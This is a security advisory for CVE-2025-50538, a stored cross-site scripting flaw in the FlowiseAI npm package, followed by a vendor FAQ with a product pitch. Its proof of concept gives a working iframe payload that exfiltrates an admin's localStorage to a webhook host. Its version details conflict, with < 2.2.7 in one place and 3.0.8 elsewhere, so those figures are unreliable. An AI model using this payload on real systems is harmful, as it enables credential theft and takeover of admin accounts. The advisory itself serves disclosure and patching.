CVE-2025-50538

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.

Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.

PoC

1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
2. Send the following payload via the agent's chat interface:

   <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">
   

3. As an admin, go to the workflow and click "View Messages".
4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

Affected Products

• Ecosystem: npm
• Package name: flowise
• Affected versions: < 2.2.7
• Patched versions:1

• Type: Stored Cross-Site Scripting (XSS)
• Who is impacted: Any admin viewing messages in the FlowiseAI UI
• Data at risk: Admin credentials, or sensitive info stored in localStorage
• Severity: High (Account takeover, admin privilege escalation, full panel compromise)

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-50538 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-50538? CVE-2025-50538 is a critical-severity cross-site scripting (XSS) vulnerability in flowise (npm), affecting versions < 3.0.8. It is fixed in 3.0.8. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-50538? CVE-2025-50538 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of flowise are affected by CVE-2025-50538? flowise (npm) versions < 3.0.8 is affected.
4. Is there a fix for CVE-2025-50538? Yes. CVE-2025-50538 is fixed in 3.0.8. Upgrade to this version or later.
5. Is CVE-2025-50538 exploitable, and should I be worried? Whether CVE-2025-50538 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-50538 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-50538? Upgrade flowise to 3.0.8 or later.